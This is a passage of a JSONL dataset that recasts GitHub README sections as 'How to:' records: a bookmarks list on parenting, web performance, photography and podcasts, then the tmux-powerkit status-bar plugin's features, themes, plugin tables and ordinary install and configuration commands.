Naissance](https://www.naissance-amala.be/ressources/audio/pleine-conscience-mindfulness/) - :fr: [FR] [Audio] Pleine conscience/Mindfulness\n* [Les couilles sur la table](https://www.binge.audio/podcast/les-couilles-sur-la-table/papa-mode-demploi) - :fr: [FR] [Audio] (2020) #66 Papa mode d’emploi\n* [Les couilles sur la table](https://www.binge.audio/podcast/les-couilles-sur-la-table/les-peres-au-travail) - :fr: [FR] [Audio] (2020) #67 Les pères au travail\n* [Histoires de Darons](https://www.darons.fr/) - :fr: [FR] La parole est aux darons ! Tous les premiers et troisièmes lundis de chaque mois, Fabrice FLORENT invite un daron, connu ou anonyme, à raconter son Histoire autour de la paternité.\n* [Keeku](https://keeku.co/) - 🇫🇷 [FR] Le coin des podcasts pour enfants | Retrouvez de belles histoires de princesses et de dragons, de la méditation ou du yoga, de l’actualité, à écouter sur la route de l’école, à la maison, dans la voiture ou pendant les vacances ! Et tout cela gratuitement !\n* [Moi, Papa](https://www.rtbf.be/auvio/emissions/detail_moi-papa?id=18794) - 🇧🇪 🇫🇷 [BE] [FR] [Videos] [Audio] Un podcast de 5 épisodes dans lequel Adrien De Vyver reçoit des experts et abordent les difficultés, les joies, le stress, les besoins des jeunes ou futurs nouveaux papas.  Les mamans ont cet instinct maternel qui les unis, après 9 mois de grossesse, à leur enfant. Mais comment aider les pères à trouver leurs plac...  Plus\n* [The Daddy Corner](https://www.nestlebaby.be/fr/daddycorner) - 🇧🇪 🇫🇷 [FR] [BE] les papas ont aussi leur espace d’information\n* [MorganGeek](https://morgan.zoemp.be/when-working-from-home-is-toxic/) - (2021) When working from home is toxic\n* [Dr. Elaine Aron](https://hsperson.com/the-highly-sensitive-parent/) - (2005) The Highly Sensitive Parent\n* [Kelly McQuillan](https://www.todaysparent.com/family/parenting/what-its-like-to-parent-when-youre-a-highly-sensitive-person/) - (2020) What it’s like to parent when you’re a Highly Sensitive Person\n* [Felicia Schneiderhan ](https://www.realsimple.com/work-life/family/highly-sensitive-parent) - (2017) I Just Found Out I’m a Highly Sensitive Parent—And It Changed My Life\n* [Patricia Harteneck](https://www.seleni.org/advice-support/2018/3/16/parenting-when-you-are-highly-sensitive) - (2018) Parenting When You Are Highly Sensitive | How to take care of your kids and yourself\n* [Nitzia Logothetis](https://www.seleni.org/advice-support/2018/3/16/monitoring-our-parenting) - (2018) Monitoring Our Parenting | Does tracking your child's vital signs keep him safe or drive you crazy?\n* [Nadine Descheneaux](https://www.noovomoi.ca/vivre/famille/article.la-depression-post-partum-chez-le-pere.1.9381889.html) - [FR] 🇫🇷 (2019) La dépression post-partum chez le père\n* [Commune d'Anderlecht](https://www.anderlecht.be/fr/family-2021) - 🇫🇷 🇧🇪 [FR] [BE] (2021) FAMILY'IN 2021 : Programmation d'activités pour les familles et les enfants\n* [Babytheek](https://babytheek.wordpress.com/francais/cest-quoi-la-babytheque/) - 🇫🇷 🇧🇪 [FR] [BE] La Bébéthèque offre un départ durable aux bébés bruxellois. Il s’agit d’un système pratique de prêt d’affaires pour bébés qui ne servent que très peu de temps. Que votre espace de vie soit restreint, que vous accueilliez votre petite nièce plusieurs fois par an, que votre budget soit limité ou que vous ayez décidé de consommer moins, la Bébéthèque constitue la solution idéale pour les jeunes ménages en quête de matériel de puériculture durable. \n* [be.brussels](https://be.brussels/culture-tourisme-loisirs/bruxelles-avec-des-enfants) - 🇧🇪 🇫🇷 [BE] [FR] Bruxelles avec des enfants\n* [kidsgazette](http://kidsgazette.be/kidsgazette/derniere-kidsgazette/#) - 🇧🇪 🇫🇷 [BE] [FR] En quête d’aventures bruxelloises et de sorties pour bambins de 0 à 12 ans ? kidsgazette est une initiative de bruxellois au service du jeune public et de la culture depuis 2010 : Un agenda culturel biannuel (automne/hiver & printemps/été), trilingue et gratuit.\n* [Amélie M", "tags": ["SansGuidon"], "source": "github_gists", "category": "SansGuidon", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 518, "answer_score": 10, "has_code": false, "url": "https://github.com/SansGuidon/bookmarks", "collected_at": "2026-01-17T12:56:49.678490"}
{"id": "gh_2937dfa81ad2", "question": "How to: Performance", "question_body": "About SansGuidon/bookmarks", "answer": "See also [Accessibility (a11y)](#accessibility-a11y) && [Ecology :seedling:](#ecology-seedling) && [Web development](#web-development)\n* [Karolina Szczur](https://medium.com/@fox/talk-the-state-of-the-web-3e12f8e413b3) - (2017) The State of the Web | A guide to impactful performance improvements\n* [Addy Osmani](https://speakerdeck.com/addyosmani/the-browser-hackers-guide-to-instant-loading) - (2017) The Browser Hacker's Guide To Instant Loading\n* [Ian Lurie](https://www.portent.com/blog/user-experience/code-coverage-page-speed.htm) - (2017) Code Coverage Analysis for Better Page Speed\n* [Nicolas Hoffmann, Elie Sloïm](https://openweb.eu.org/articles/le-cout-de-la-non-qualite-sur-le-web) - (2014) :fr: [FR] Le coût de la non-qualité sur le Web : 50%\n * [Jack Lenox](https://www.smashingmagazine.com/2019/01/save-planet-improving-website-performance/) - (2019) How Improving Website Performance Can Help Save The Planet\n* [JAMstack](https://jamstack.org/) : noun `’jam-stak’` : Modern web development architecture based on client-side JavaScript, reusable APIs, and prebuilt Markup. | The JAMstack is not about specific technologies. It’s a new way of building websites and apps that delivers better performance, higher security, lower cost of scaling, and a better developer experience.\n* [Alex so yes](https://alexsoyes.com/eco-conception-web/) - :fr: [FR] (2021) Comment coder un site écologique ? Devenir un développeur green avec l’éco-conception web\n* [The 512KB Club](https://512kb.club/) - The 512KB Club | The internet has become a bloated mess. Massive JavaScript libraries, countless client-side queries and overly complex frontend frameworks are par for the course these days. [...] But we can make a difference - all it takes is some optimisation. [...] The 512KB Club is a collection of performance-focused web pages from across the Internet. **GitHub repository** [kevquirk/512kb.club](https://github.com/kevquirk/512kb.club)\n* [Unix Sheikh](https://www.unixsheikh.com/articles/javascript-malware-infested-nightmare.html) - (2021) JavaScript malware infested nightmare | some rant\n* [Ben Hoyt](https://benhoyt.com/writings/the-small-web-is-beautiful/) - (2021) The small web is beautiful\n> * Fewer moving parts. It’s easier to create more robust systems and to fix things when they do go wrong.\n> * Small software is faster. Fewer bits to download and clog your computer’s memory.\n> * Reduced power consumption. This is important on a “save the planet” scale, but also on the very local scale of increasing the battery life of your phone and laptop.\n> * The light, frugal aesthetic. That’s personal, I know, but as you’ll see, I’m not alone.\n* [John Allspaw](https://www.adaptivecapacitylabs.com/blog/2017/12/19/taking-human-performance-seriously/) - (2017) Taking Human Performance Seriously\n> A proper treatment of the human element requires the human to be the focus\n* [Ian Miell](https://zwischenzugs.com/2018/10/02/why-are-enterprises-so-slow/) - (2018) Why Are Enterprises So Slow?\n* [GTmetrix](https://gtmetrix.com/) - Website Speed and Performance Optimization\n* [PageSpeed Insights](https://developers.google.com/speed/pagespeed/insights/) - Analyze a website performance\n* [Socialtalents](http://loadme.socialtalents.com/Begin/New) - Loadme - cloud-based load / stress testing service for you website or API \n* [What Does My Site Cost?](https://whatdoesmysitecost.com/) - Find out how much it costs for someone to use your site on mobile networks around the world.\n* [Daniel Miessler](https://danielmiessler.com/blog/10-ways-to-test-your-website-performance/) - 10 Ways to Test Your Website Performance\n* [GoogleChrome/lighthouse](https://github.com/GoogleChrome/lighthouse) - Auditing, performance metrics, and best practices for Progressive Web Apps. **See also** : [Website](https://developers.google.com/web/tools/lighthouse)\n* [WebPagetest](https://www.webpagetest.org/) - Test a website's performance | WebPagetest is a tool that was originally developed by AOL for use internally and was open-sourced in 2008 under a BSD license. The platform is under active development on GitHub and is also packaged up periodically and available for download if you would like to run your own instance. **See also** [GitHub repository](https://github.com/WPO-Foundation/webpagetest)\n* [WebPagetest](https://www.webpagetest.org/lighthouse) - Lighthouse Test - Run a Chrome Lighthouse Test | Lighthouse Test\nRun Lighthouse on an emulated mobile device on a 3G network. Running the test will give you the top level scores for all the categories Lighthouse runs on, as well as individual level reports.", "tags": ["SansGuidon"], "source": "github_gists", "category": "SansGuidon", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 518, "answer_score": 10, "has_code": false, "url": "https://github.com/SansGuidon/bookmarks", "collected_at": "2026-01-17T12:56:49.678506"}
{"id": "gh_aec73aa18849", "question": "How to: Photography", "question_body": "About SansGuidon/bookmarks", "answer": "* [Exposure-Mat](http://expomat.tripod.com) - build yourself a free light meter that fits in your wallet.\n* [Joe L. Wroten](https://medium.com/@SharpShark28/whats-in-a-photo-e00637e9fc99) - What’s In A Photo?\n* [Toolpic](https://www.toolpic.com/) - Free Photoshop Online Alternative\n* [The Golden Hour Calculator](http://www.golden-hour.com/) - Sunrise and Sunset information for photographers | a.k.a. what's the best time to take a good picture depending on your location. That's a tip I've learned while preparing my visit to the Neon Museum in Las Vegas\n* [La boite verte](https://www.laboiteverte.fr/) - :fr: [FR] Site de découverte sur la photographie, la science, les arts et tout ce qui est insolite.\n* [DeepAI](https://deepai.org/machine-learning-model/colorizer) - Image Colorization API\n* [Marc Chaillou](https://www.marccphotographies.com/pourquoi-ne-pas-prendre-de-photos-avec-son-smartphone) - [FR] :fr: (2017) Pourquoi il faut éviter de prendre des photos avec son smartphone et privilégier un reflex lorsque l'on veut faire de la qualité.\n* [eBru](https://www.ebru.be/bruxellesdantan.html) - 🇫🇷 🇧🇪 [FR] [BE] Bruxelles d'antan - Bruxelles en vieilles photos, publicités et cartes postales", "tags": ["SansGuidon"], "source": "github_gists", "category": "SansGuidon", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 518, "answer_score": 10, "has_code": false, "url": "https://github.com/SansGuidon/bookmarks", "collected_at": "2026-01-17T12:56:49.678529"}
{"id": "gh_5e61095218f0", "question": "How to: Podcasts :radio:", "question_body": "About SansGuidon/bookmarks", "answer": "* [Bombo](https://podcast.ausha.co/bombo/) - 🇫🇷 🇧🇪 [FR] [BE] Venez vous inspirer avec des gens passionnés de Bon et de Beau\n* [Player FM](http://player.fm/featured/programming) - Programming podcasts\n* [Player FM](https://player.fm/podcasts/Software-Development) - Software Development Podcasts\n* [Les Cast Codeurs](https://lescastcodeurs.com/) - [FR] :fr: podcast for Java programmers\n* [LDDM (Les Démons du MIDI)](https://www.geekzone.fr/tag/les-demons-du-midi/) - [FR] :fr: [Podcast] every month, 2 hours of musi", "tags": ["SansGuidon"], "source": "github_gists", "category": "SansGuidon", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 518, "answer_score": 10, "has_code": false, "url": "https://github.com/SansGuidon/bookmarks", "collected_at": "2026-01-17T12:56:49.678535"}
{"id": "gh_163327670ba5", "question": "How to: ⚡ PowerKit", "question_body": "About fabioluciano/tmux-powerkit", "answer": "![PowerKit Status Bar Preview](https://raw.githubusercontent.com/wiki/fabioluciano/tmux-powerkit/assets/images/tmux-powerkit-session-plugins-windows.png)\n\n①\nSession\n– Current tmux session name with mode-aware icon (changes on prefix/copy mode)\n②\nPlugins\n– Modular status indicators with health-based colors (cpu, memory, git, datetime, etc.)\n③\nWindows\n– Window list with index icons, names, and state indicators (active, zoomed, activity)", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 442, "answer_score": 10, "has_code": false, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454112"}
{"id": "gh_a36ee6751a3b", "question": "How to: The Ultimate tmux Status Bar Framework", "question_body": "About fabioluciano/tmux-powerkit", "answer": "42 Plugins • 37 Themes • Infinite Possibilities\n\n[![Version](https://img.shields.io/github/v/release/fabioluciano/tmux-powerkit?style=for-the-badge&logo=github&logoColor=white)](https://github.com/fabioluciano/tmux-powerkit/releases)\n[![License](https://img.shields.io/github/license/fabioluciano/tmux-powerkit?style=for-the-badge)](LICENSE)\n[![CI](https://img.shields.io/github/actions/workflow/status/fabioluciano/tmux-powerkit/plugin-tests.yml?branch=main&style=for-the-badge&label=tests&logo=github-actions&logoColor=white)](https://github.com/fabioluciano/tmux-powerkit/actions)\n[![Stars](https://img.shields.io/github/stars/fabioluciano/tmux-powerkit?style=for-the-badge&logo=starship&logoColor=white)](https://github.com/fabioluciano/tmux-powerkit/stargazers)\n\nTransform your tmux status bar into a powerful, beautiful, and intelligent command center\n\n[**Getting Started**](#-quick-start) • [**Plugins**](#-plugins) • [**Themes**](#-themes) • [**Documentation**](https://github.com/fabioluciano/tmux-powerkit/wiki)\n\n---", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 442, "answer_score": 10, "has_code": false, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454130"}
{"id": "gh_54943cf9271b", "question": "How to: 🎨 **Beautiful by Default**", "question_body": "About fabioluciano/tmux-powerkit", "answer": "Choose from **37 carefully crafted themes** with **61 variants** including Catppuccin, Dracula, Monokai, Nord, Tokyo Night, and more. Every theme supports automatic color variants (light/lighter/dark/darker) for perfect contrast.", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 442, "answer_score": 10, "has_code": false, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454138"}
{"id": "gh_1a30b6fd92e2", "question": "How to: ⚡ **Blazingly Fast**", "question_body": "About fabioluciano/tmux-powerkit", "answer": "Smart **multi-layer caching**, **Stale-While-Revalidate (SWR) lazy loading**, and optimized background rendering ensure minimal overhead even with dozens of plugins active. Returns stale data immediately while refreshing in background - never blocks on slow API calls or external commands.", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 442, "answer_score": 10, "has_code": false, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454145"}
{"id": "gh_3b4e72955f17", "question": "How to: 🧩 **Truly Modular**", "question_body": "About fabioluciano/tmux-powerkit", "answer": "**42 production-ready plugins** covering system monitoring, development tools, productivity, media control, and more. Mix and match to create your perfect setup.", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 442, "answer_score": 10, "has_code": false, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454150"}
{"id": "gh_8da92517923f", "question": "How to: 🔧 **Extensible Architecture**", "question_body": "About fabioluciano/tmux-powerkit", "answer": "Contract-based plugin system with strict separation of concerns. Create your own plugins, themes, and helpers with ease.\n\n---", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 442, "answer_score": 10, "has_code": false, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454155"}
{"id": "gh_e586289d929d", "question": "How to: Basic configuration", "question_body": "About fabioluciano/tmux-powerkit", "answer": "set -g @powerkit_plugins \"datetime,battery,cpu,memory,git,hostname\"\nset -g @powerkit_theme \"catppuccin\"\nset -g @powerkit_theme_variant \"mocha\"", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 442, "answer_score": 10, "has_code": false, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454163"}
{"id": "gh_65edd21370dc", "question": "How to: Initialize TPM (keep at bottom)", "question_body": "About fabioluciano/tmux-powerkit", "answer": "run '~/.tmux/plugins/tpm/tpm'\n```\n\nThen press `prefix + I` to install.", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 442, "answer_score": 10, "has_code": true, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454167"}
{"id": "gh_3256f9a8a534", "question": "How to: Manual Installation", "question_body": "About fabioluciano/tmux-powerkit", "answer": "For faster download (~1.5 MB), use shallow clone:\n\n```bash\ngit clone --depth 1 https://github.com/fabioluciano/tmux-powerkit.git ~/.tmux/plugins/tmux-powerkit\n```\n\nAdd to `~/.tmux.conf`:\n\n```bash\nrun-shell ~/.tmux/plugins/tmux-powerkit/tmux-powerkit.tmux\n```\n\n> See [Installation Guide](https://github.com/fabioluciano/tmux-powerkit/wiki/Installation) for more options (tarball, full clone).", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 442, "answer_score": 10, "has_code": true, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454173"}
{"id": "gh_24d5532d3a4b", "question": "How to: Choose your separator style", "question_body": "About fabioluciano/tmux-powerkit", "answer": "set -g @powerkit_separator_style \"rounded\"  # or normal, flame, pixel, honeycomb", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 442, "answer_score": 10, "has_code": false, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454182"}
{"id": "gh_96c97585e864", "question": "How to: Make it transparent", "question_body": "About fabioluciano/tmux-powerkit", "answer": "set -g @powerkit_transparent \"true\"\n```\n\n**That's it!** Reload tmux and enjoy your new status bar.\n\n---", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 442, "answer_score": 10, "has_code": true, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454187"}
{"id": "gh_e18993c3ec21", "question": "How to: 📊 System Monitoring (12 plugins)", "question_body": "About fabioluciano/tmux-powerkit", "answer": "Monitor every aspect of your system in real-time:\n\n| Plugin | Description | Highlights |\n|--------|-------------|-----------|\n| `battery` | Battery level with charge state | Shows charging status, time remaining, health indicators |\n| `cpu` | CPU usage with per-core support | Thresholds, multi-core detection, platform-specific |\n| `memory` | RAM usage and availability | Multiple formats (percentage, usage, available) |\n| `disk` | Disk usage by mount point | Configurable thresholds, multiple drives |\n| `loadavg` | System load average | 1/5/15 minute averages, per-core normalization |\n| `temperature` | CPU temperature | macOS (osx-cpu-temp), Linux (hwmon) |\n| `fan` | Fan speed monitoring | Dell SMM, ThinkPad, generic hwmon, macOS |\n| `gpu` | GPU utilization | NVIDIA, AMD, Intel, macOS support |\n| `iops` | Disk I/O operations | Read/write operations per second |\n| `brightness` | Screen brightness | Linux only (sysfs, brightnessctl, light, xbacklight) |\n| `uptime` | System uptime | Human-readable format |\n| `hostname` | System hostname | Color-coded by environment |", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 442, "answer_score": 10, "has_code": false, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454197"}
{"id": "gh_bdfe1f61da4d", "question": "How to: 🌐 Network (7 plugins)", "question_body": "About fabioluciano/tmux-powerkit", "answer": "Stay connected and informed:\n\n| Plugin | Description | Features |\n|--------|-------------|----------|\n| `network` | Upload/download speed | Real-time bandwidth monitoring |\n| `wifi` | WiFi SSID + signal strength | Signal quality indicators |\n| `vpn` | VPN connection status | Detects active VPN tunnels |\n| `ping` | Network latency | Configurable host, threshold alerts |\n| `external_ip` | Public IP address | Cached with configurable TTL |\n| `ssh` | SSH session indicator | Shows when connected via SSH |\n| `weather` | Weather from wttr.in | Location-based, customizable format |", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 442, "answer_score": 10, "has_code": false, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454204"}
{"id": "gh_727139e058df", "question": "How to: 🎵 Media (7 plugins)", "question_body": "About fabioluciano/tmux-powerkit", "answer": "Control your media experience:\n\n| Plugin | Description | Platform |\n|--------|-------------|----------|\n| `volume` | System volume level | macOS only |\n| `brightness` | Screen brightness | Linux only |\n| `nowplaying` | Current music track | Music.app, Spotify (macOS) |\n| `audiodevices` | Active audio output device | macOS (SwitchAudioSource) |\n| `camera` | Camera usage indicator | macOS (lsof) |\n| `microphone` | Microphone mute status | macOS (osascript) |\n| `bluetooth` | Bluetooth status + devices | macOS (blueutil), Linux (bluetoothctl) |", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 442, "answer_score": 10, "has_code": false, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454211"}
{"id": "gh_492d577d6d2c", "question": "How to: 💻 Development (10 plugins)", "question_body": "About fabioluciano/tmux-powerkit", "answer": "Supercharge your development workflow:\n\n| Plugin | Description | Features |\n|--------|-------------|----------|\n| `git` | Git branch + status | Modified files, branch info, repo state |\n| `github` | GitHub notifications | PRs, issues, notifications (gh CLI) |\n| `gitlab` | GitLab merge requests | MRs, todos (glab CLI) |\n| `bitbucket` | Bitbucket pull requests | PR count via API |\n| `jira` | Jira assigned issues | Issue count via API |\n| `kubernetes` | K8s context + namespace | Current context and namespace |\n| `terraform` | Terraform workspace | Active workspace indicator |\n| `cloud` | Cloud provider profile | AWS/Azure/GCP active profile |\n| `cloudstatus` | Cloud service status | Service health monitoring |\n| `packages` | Pending system updates | brew, apt, yum, pacman support |", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 442, "answer_score": 10, "has_code": false, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454218"}
{"id": "gh_e57781882432", "question": "How to: ⏰ Productivity (5 plugins)", "question_body": "About fabioluciano/tmux-powerkit", "answer": "Boost your productivity:\n\n| Plugin | Description | Features |\n|--------|-------------|----------|\n| `datetime` | Date and time | 15 format presets, fully customizable |\n| `timezones` | Multiple timezones | Display multiple zones simultaneously |\n| `pomodoro` | Pomodoro timer | Work/break phases, keybindings |\n| `bitwarden` | Bitwarden vault status | Lock status, quick access |\n| `smartkey` | Custom environment variables | Display any env var or command output |", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 442, "answer_score": 10, "has_code": false, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454224"}
{"id": "gh_0e9f93978592", "question": "How to: 💰 Financial (2 plugins)", "question_body": "About fabioluciano/tmux-powerkit", "answer": "Track your investments:\n\n| Plugin | Description | Source |\n|--------|-------------|--------|\n| `crypto` | Cryptocurrency prices | CoinGecko API |\n| `stocks` | Stock prices | Yahoo Finance API |\n\n---", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 442, "answer_score": 10, "has_code": false, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454229"}
{"id": "gh_ce51c408e58c", "question": "How to: Popular Themes", "question_body": "About fabioluciano/tmux-powerkit", "answer": "Tokyo Night\nnight • storm • day\nCatppuccin\nmocha • macchiato • frappe • latte\nDracula\ndark\nNord\ndark\nGruvbox\ndark • light\nRose Pine\nmain • moon • dawn\nMaterial\ndefault • ocean • palenight • lighter\nSolarized\ndark • light\nGitHub\ndark • light\nAyu\ndark • mirage • light\nNight Owl\ndefault • light\nMoonlight\ndefault\nPlus **Monokai**, **Cobalt2**, **SynthWave '84**, **Horizon**, **Iceberg**, **Snazzy**, **Spacegray**, **Molokai**, **Vesper**, **Poimandres**, **Flexoki**, **Slack**, and more!", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 442, "answer_score": 10, "has_code": false, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454240"}
{"id": "gh_e1073def49c5", "question": "How to: Theme Features", "question_body": "About fabioluciano/tmux-powerkit", "answer": "- ✅ **Automatic color variants** - Each base color generates 6 variants (light/lighter/lightest/dark/darker/darkest)\n- ✅ **Smart health mapping** - Plugin states automatically map to theme colors\n- ✅ **Transparent mode** - All themes support transparent backgrounds\n- ✅ **Consistent contrast** - Automated foreground color selection for perfect readability", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 442, "answer_score": 10, "has_code": false, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454245"}
{"id": "gh_22cdddc3572d", "question": "How to: Tokyo Night - Night variant", "question_body": "About fabioluciano/tmux-powerkit", "answer": "set -g @powerkit_theme \"tokyo-night\"\nset -g @powerkit_theme_variant \"night\"", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 442, "answer_score": 10, "has_code": false, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454250"}
{"id": "gh_d76389b2d3ff", "question": "How to: Catppuccin - Mocha variant", "question_body": "About fabioluciano/tmux-powerkit", "answer": "set -g @powerkit_theme \"catppuccin\"\nset -g @powerkit_theme_variant \"mocha\"", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 442, "answer_score": 10, "has_code": false, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454254"}
{"id": "gh_f5526340c73a", "question": "How to: 🎭 Separator Styles", "question_body": "About fabioluciano/tmux-powerkit", "answer": "Choose from **9 beautiful separator styles** to customize your status bar appearance:\n\n| Style | Right | Left | Unicode |\n|-------|-------|------|---------|\n| **normal** |  |  | E0B0/E0B2 |\n| **rounded** |  |  | E0B4/E0B6 |\n| **slant** |  |  | E0B8/E0BA |\n| **slantup** |  |  | E0BC/E0BE |\n| **trapezoid** |  |  | E0C8/E0CA |\n| **flame** |  |  | E0C0/E0C2 |\n| **pixel** |  |  | E0C4/E0C6 |\n| **honeycomb** |  |  | E0CC/E0CD |\n| **none** | - | - | - |\n\n```bash", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 442, "answer_score": 10, "has_code": true, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454261"}
{"id": "gh_3e30c477d9d1", "question": "How to: Add spacing between elements", "question_body": "About fabioluciano/tmux-powerkit", "answer": "set -g @powerkit_elements_spacing \"both\"  # false, true, both, windows, plugins\n```\n\n---", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 442, "answer_score": 10, "has_code": true, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454266"}
{"id": "gh_e766160ba2c0", "question": "How to: Plugin-Specific Options", "question_body": "About fabioluciano/tmux-powerkit", "answer": "Every plugin is highly customizable. Example with the `battery` plugin:\n\n```bash", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 442, "answer_score": 10, "has_code": true, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454271"}
{"id": "gh_ee4e65a1d91f", "question": "How to: Battery plugin options", "question_body": "About fabioluciano/tmux-powerkit", "answer": "set -g @powerkit_plugin_battery_warning_threshold \"30\"\nset -g @powerkit_plugin_battery_critical_threshold \"15\"\nset -g @powerkit_plugin_battery_icon \"\"\nset -g @powerkit_plugin_battery_icon_charging \"󰂄\"\nset -g @powerkit_plugin_battery_cache_ttl \"5\"\nset -g @powerkit_plugin_battery_show_only_on_threshold \"false\"\n```", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 442, "answer_score": 10, "has_code": true, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454277"}
{"id": "gh_c93c6443f2d9", "question": "How to: CPU Plugin with Thresholds", "question_body": "About fabioluciano/tmux-powerkit", "answer": "```bash\nset -g @powerkit_plugin_cpu_warning_threshold \"70\"\nset -g @powerkit_plugin_cpu_critical_threshold \"90\"\nset -g @powerkit_plugin_cpu_show_cores \"false\"\nset -g @powerkit_plugin_cpu_icon \"\"\n```", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 442, "answer_score": 10, "has_code": true, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454282"}
{"id": "gh_b545fd7566f7", "question": "How to: Git Plugin", "question_body": "About fabioluciano/tmux-powerkit", "answer": "```bash\nset -g @powerkit_plugin_git_icon \"\"\nset -g @powerkit_plugin_git_show_branch \"true\"\nset -g @powerkit_plugin_git_show_files \"true\"\nset -g @powerkit_plugin_git_max_length \"30\"\n```", "tags": ["fabioluciano"], "source": "github_gists", "category": "fabioluciano", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 442, "answer_score": 10, "has_code": true, "url": "https://github.com/fabioluciano/tmux-powerkit", "collected_at": "2026-01-17T12:56:55.454287"}
